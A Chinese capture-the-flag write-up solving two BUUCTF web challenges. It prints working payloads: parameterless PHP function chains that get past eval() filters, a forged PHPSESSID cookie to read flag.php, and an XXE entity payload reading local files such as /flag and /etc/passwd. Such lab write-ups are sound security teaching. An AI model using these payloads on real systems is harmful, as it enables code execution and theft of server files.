buu做题(5)

news2024/9/20 22:29:42

目录

[GXYCTF2019]禁止套娃

方法一:

方法二:

[NCTF2019]Fake XML cookbook


[GXYCTF2019]禁止套娃

页面里啥也没有
使用dirsearch 扫一下目录
发现有 git
使用工具githack拉取源码
 

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>
 

禁用了各种php伪协议,

if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

很明显的无参数rce , 只能使用函数, 里面不能有参数
后面的正则又过滤了很多东西, 很多函数用不了

方法一:

current(localeconv())永远都是个点 " . " 配合 scandir(current(localeconv())) 读取当前的目录
可以看到需要的flag.php文件 , 要想办法读到这个文件

 

next() : 将内部指针指向数组中的下一个元素

array_reverse() : 函数以相反的元素顺序返回数组

?exp=var_dump(next(array_reverse(scandir(current(localeconv())))));

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

方法二:

session_id()可以用来获取 设置当前会话 ID。 那么可以用这个函数来获取cookie中的phpsessionid了,并且这个值我们是可控的。

在使用 session_id()的时候 需要使用session_start()来开启session会话

控制 cookie  的 PHPSESSID 为flag.php 从而读取这个文件

?exp=highlight_file(session_id(session_start()));
Cookie: PHPSESSID=flag.php

在这里本来还想着是否能够命令执行来着
但是好像也只能列出来, 无法读取

cat flag.php不了
ls 也只能读当前目录 , 想要读根目录也不行 
估计是空格的原因, 毕竟这里是PHPSESSID= 的内容

可以执行 whoami , id 这种单独的一个命令的

[NCTF2019]Fake XML cookbook

一个登录框

抓包看看
格式感觉有点奇怪

题目提示 xml
查看源代码. 分析

[NCTF2019]Fake XML cookbook(特详解) - 技术栈

XML实体注入漏洞(XXE)
(这一块的内容也还不是很了解, 后面还得继续学习一下)

读取flag:

<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
    <!ENTITY admin SYSTEM "file:///flag">
]>

<user><username>&admin;</username><password>1123</password></user>

不晓得为啥总是读取不了 , file:///etc/passwd 也读不了, 也不晓得是啥原因
 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1937018.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

空间计算开发:Volu的集成开发工具包

在空间计算技术迅速发展的今天,VR和AR项目的开发需求日益增长。Volu,一个面向空间计算赛道的开发者工具,正致力于简化这一过程。本文将深入探讨Volu如何通过其集成环境,为开发者提供一站式的解决方案。 一、定位:空间计算的得力助手 Volu定位为一个专为空间开发设计的集…

亚马逊自养号测评系统:电商卖家的销量加速器

搭建一套属于自己的测评系统&#xff0c;以实现批量优质账号的养成和自主掌控真实买家行为&#xff0c;对于电商卖家来说&#xff0c;无疑是一个极具吸引力和竞争力的选择。以下是对您提出的实现价值点的详细解析&#xff1a; 实现价值详细解析 1.全面掌控与灵活应对&#xf…

Chromium CI/CD 之Jenkins实用指南2024-添加Windows节点(八)

1. 引言 在现代软件开发流程中&#xff0c;持续集成&#xff08;CI&#xff09;和持续交付&#xff08;CD&#xff09;已成为确保代码质量和加速发布周期的关键实践。Jenkins作为一款广泛应用的开源自动化服务器&#xff0c;通过其强大的插件生态系统和灵活的配置选项&#xf…

Qt中的高分辨率及缩放处理

写在前面 使用Qt开发界面客户端&#xff0c;需要考虑不同分辨率及缩放对UI界面的影响&#xff0c;否则会影响整体的交互使用。 问题 高分辨率/缩放设备上图片/图标模糊 若不考虑高分辨及缩放处理&#xff0c;在高分辨率/缩放设备上&#xff0c;软件中的图片、图标可能会出现…

rimraf快速删除node_modules方法

项目中&#xff0c;有时候会遇到下载依赖报错&#xff0c;然后想要删除node_modules再重新下载&#xff0c;但是有时候直接用yarn 或者npm install仍热不行&#xff0c;我们可以尽量用yran&#xff0c;因为npm 可能会自动下一些给一些包升级了&#xff0c;此时因为前面已经下过…

【D3.js in Action 3 精译_020】2.6 用 D3 设置与修改元素样式 + 名人专访(Nadieh Bremer)+ 2.7 本章小结

当前内容所在位置 第一部分 D3.js 基础知识 第一章 D3.js 简介&#xff08;已完结&#xff09; 1.1 何为 D3.js&#xff1f;1.2 D3 生态系统——入门须知1.3 数据可视化最佳实践&#xff08;上&#xff09;1.3 数据可视化最佳实践&#xff08;下&#xff09;1.4 本章小结 第二章…

Linux云计算 |【第一阶段】ENGINEER-DAY4

主要内容&#xff1a; 配置Linux网络参数、配置静态主机名、查看/修改/激活/禁用网络连接、指定DNS、虚拟网络连接、虚拟机克隆、SSH客户端、SCP远程复制、SSH无密码验证&#xff08;SERVICE-DAY5&#xff09;、虚拟网络类型 一、网络参数配置 修改网卡配置文件主要是需要配置…

Spring Authorization Server 自定义 OAuth2 密码模式返回数据结构优化

前言 对接了自定义密码模式&#xff0c;但是返回的数据结构不符合要求 我们需要改成下面格式 开始 我假设你已经对接好了自定义密码功能&#xff0c;不会的话看下面文章 Spring Authorization Server 1.1 扩展实现 OAuth2 密码模式与 Spring Cloud 的整合实战&#xff08;上…

23种设计模式之命令模式

命令模式 1、定义 命令模式&#xff1a;将一个请求封装为一个对象&#xff0c;从而可用不同的请求对客户进行参数化&#xff0c;对请求排队或者记录请求日志&#xff0c;以及支持可撤销的操作 2、命令模式结构 Command&#xff08;抽象命令类&#xff09;&#xff1a;一般是…

【入门】基于DE2-115的My First FPGA 工程

1.1. 概述 这是一个简单的练习&#xff0c; 可以帮助初学者开始了解如何使用Intel Quartus 软件进行 FPGA 开发。 在本章节中&#xff0c;您将学习如何编译 Verilog 代码&#xff0c;进行引脚分配&#xff0c;创建时序约束&#xff0c;然后对 FPGA 进行编程&#xff0c;驱动开…

NVIDIA 完全过渡到开源 GPU 内核模块

目录 支持的 GPU安装程序更改将包管理器与 CUDA 元包配合使用使用 runfile使用安装帮助程序脚本包管理器详细信息apt&#xff1a;基于 Ubuntu 和 Debian 的发行版dnf&#xff1a;Red Hat Enterprise Linux、Fedora、Kylin、Amazon Linux 或 Rocky Linuxzypper&#xff1a;SUSE …

​探讨元宇宙和VR虚拟现实之间的区别​

在数字时代&#xff0c;人们对虚拟现实的兴趣与日俱增。在虚拟现实技术的推动下&#xff0c;出现了两个概念&#xff1a;元宇宙和VR虚拟现实。虽然这两个概念都与虚拟现实有关&#xff0c;但它们有着不同的特点和用途。在本文中&#xff0c;我们将探讨元宇宙和VR虚拟现实之间的…

UNiapp 微信小程序渐变不生效

开始用的一直是这个&#xff0c;调试一直没问题&#xff0c;但是重新启动就没生效&#xff0c;经查询这个不适合小程序使用&#xff1a;不适合没生效 background-image:linear-gradient(to right, #33f38d8a,#6dd5ed00); 正确使用下面这个&#xff1a; 生效&#xff0c;适合…

JavaScript与DOM的奇妙探险:从入门到精通的实战笔记

文章目录 JavaScript基本说明特点两种使用方式在script中写使用script标签引入JS文件 数据类型介绍特殊值 运算符算数运算符赋值运算符逻辑运算符&#xff1a;![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/bbf5c150699845af837d3c45c926e941.png)条件运算符 数组的…

通信协议_C#实现CAN通信

CAN协议 CAN&#xff08;Controller Area Network&#xff09;即控制器局域网络。特点&#xff1a; 多主网络&#xff1a;网络上的任何节点都可以主动发送数据&#xff0c;不需要一个固定的主节点。双绞线&#xff1a;使用双绞线作为通信介质&#xff0c;支持较远的通信距离。…

为Word文档注入魔法!Python批量替换多个文档的多个关键字,轻松搞定!

嘿&#xff0c;各位小伙伴们&#xff0c;大家好&#xff01;有没有想过&#xff0c;如何在多个Word文档中批量替换多个关键字&#xff1f;不用担心&#xff0c;今天我来教大家一招&#xff0c;用Python轻松搞定这个问题&#xff01;保证让你分分钟拥有处理文档的超级魔法~✨&am…

arm 内联汇编基础

一、 Arm架构寄存器体系熟悉 基于arm neon 实现的代码有 intrinsic 和inline assembly 两种实现。 1.1 通用寄存器 arm v7 有 16 个 32-bit 通用寄存器&#xff0c;用 r0-r15 表示。 arm v8 有 31 个 64-bit 通用寄存器&#xff0c;用 x0-x30 表示&#xff0c;和 v7 不一样…

AndroidStudio与手机进行无线调试

(一)、前提条件 一部手机一条USB数据线一部电脑手机和电脑连接到同一个 Wifi开启手机的USB调试功能开启手机的无线调试功能 (二)、操作步骤 1、 将手机和电脑用USB数据线连接 2、 打开 终端&#xff0c;输入 adb devices ,查看手机和电脑是否连接成功。如下图&#xff1a; 2、…

Mac电脑硬盘无法读取怎么办 Mac硬盘读取慢会导致电脑卡吗 Paragon NTFS 激活码

Mac电脑作为众多用户的工作与生活伙伴&#xff0c;其稳定性和效率至关重要。然而&#xff0c;当遭遇硬盘无法读取或读取速度缓慢的问题时&#xff0c;这无疑会给用户带来极大的不便&#xff0c;影响日常操作与数据访问。下面我们来看看Mac电脑硬盘无法读取怎么办&#xff0c;Ma…

Kotlin性能:runCatching、try-catch块、无异常处理耗时比较

Kotlin性能&#xff1a;runCatching、try-catch块、无异常处理耗时比较 fun main(args: Array<String>) {val a 1.1fval b 2.2fval n1 System.nanoTime()val m1 System.currentTimeMillis()runCatching {cal(a, b)}val n2 System.nanoTime()val m2 System.currentT…